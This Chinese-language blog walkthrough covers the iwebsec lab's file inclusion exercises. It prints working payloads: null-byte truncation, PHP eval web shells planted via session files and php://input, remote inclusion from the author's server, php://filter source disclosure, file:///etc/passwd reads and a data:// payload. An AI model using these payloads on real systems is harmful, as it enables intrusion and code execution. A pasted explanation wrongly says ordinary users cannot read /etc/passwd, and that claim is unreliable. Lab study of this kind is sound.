iwebsec_文件包含漏洞
2024-11-29 14:01:37 # iwebsec

01-本地文件包含

答案都给出了

02-本地文件包含绕过

答案也给出了,意思是想让我们使用%00进行截断绕过文件后缀检测,先传参?filename=test.txt,给我们回显的错误中可以看到**Failed opening 'test.txt.html'**这样一句话,所以后台其实是在我们的文件名的后面加了.html后缀,使用%00截断即可

03-session本地文件包含

先按照提示发一个正常包,发现会把我们上传的内容当作SESSION['username']的值,那我们可以上传木马,如何再去包含session文件即可

?iwebsec=<?php%20eval($_POST[a]);?>

本题没有文件包含的地方,用第一题的就行,一般的session文件保存的地址是/var/log/php/session/sess_PHPSESSID,其中PHPSESSID是第三题的

在第一题的传参

?filename=/var/lib/php/session/sess_odrfbdgrftso83fl9s7mfuq1i7

POSTa=system(ls);

04-远程文件包含

文件包含中可以包含远程文件,也就是说如果你自己有公网IP的服务器的话,在服务器上放一个文件,通过URL去包含该文件即可

我在我的服务器中创建一个test.txt的文件,内容为<?php phpinfo();?>

image-20240415100032652

接着我包含这个文件?filename=http://8.130.../test.txt

结果如下:

image-20240415100113604

05-远程文件包含绕过

使用%00或者%23都行,%23#的编码

06-php伪协议

?filename=php://filter/convert.base64-encode/resource=06.php

去学伪协议就行,最基础的用法了,得到的是经过base64编码的文件内容,拿去解码就行

0708-php://input伪协议

该协议会将POST的内容作为需要包含的文件内容,只需要POST木马即可

GET?filename=php://input

POST<?php eval($_GET[f]);?>

09-file://伪协议利用

根据提示,我们看看是什么意思file:///etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
`file:///etc/passwd` 是一个 URL 地址,指向 Unix/Linux 系统中的 `/etc/passwd` 文件。在 Unix 和类Unix系统中,`/etc/passwd` 文件通常用于存储用户账户信息。

下面是关于 `/etc/passwd` 文件的一些解释:

1. **文件位置**:
- 在 Unix/Linux 系统中,`/etc/passwd` 文件通常位于根目录下的 `/etc` 目录中。

2. **文件内容**:
- `/etc/passwd` 文件包含了系统上所有用户账户的基本信息,每行代表一个用户账户。
- 每行由多个字段组成,这些字段包括用户名、加密后的密码(通常是 `x` 或 `*`,实际密码保存在 `/etc/shadow` 文件中)、用户 ID、组 ID、用户描述信息、家目录路径和登录 shell 路径等。

3. **权限**:
- 由于 `/etc/passwd` 文件存储了有关系统用户的敏感信息,因此对其访问权限受到严格控制,只有特定的用户或进程才能读取该文件。
- 通常情况下,普通用户无法直接查看 `/etc/passwd` 文件的内容。

4. **安全性**:
- 需要注意的是,直接暴露 `/etc/passwd` 文件可能会导致安全风险,因为其中包含了部分用户账户的信息,如用户名等。因此,在生产环境中应当谨慎处理此类敏感文件,并确保适当的安全措施。

总之,`file:///etc/passwd` 可以被视为一个指向系统中用户账户信息所在文件的 URL 地址,但需要小心处理,避免泄露敏感信息。

file协议读的是本地文件,使用的是绝对路径,通过这个我们可以去读取一些已知路径的文件

10-data://伪协议利用

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

这个的意思是文件类型是text/plain,文件的内容是经过base64编码后的PD9waHAgcGhwaW5mbygpOz8%2b,这个解码后是<?php phpinfo();?

还有很多用法,自行查询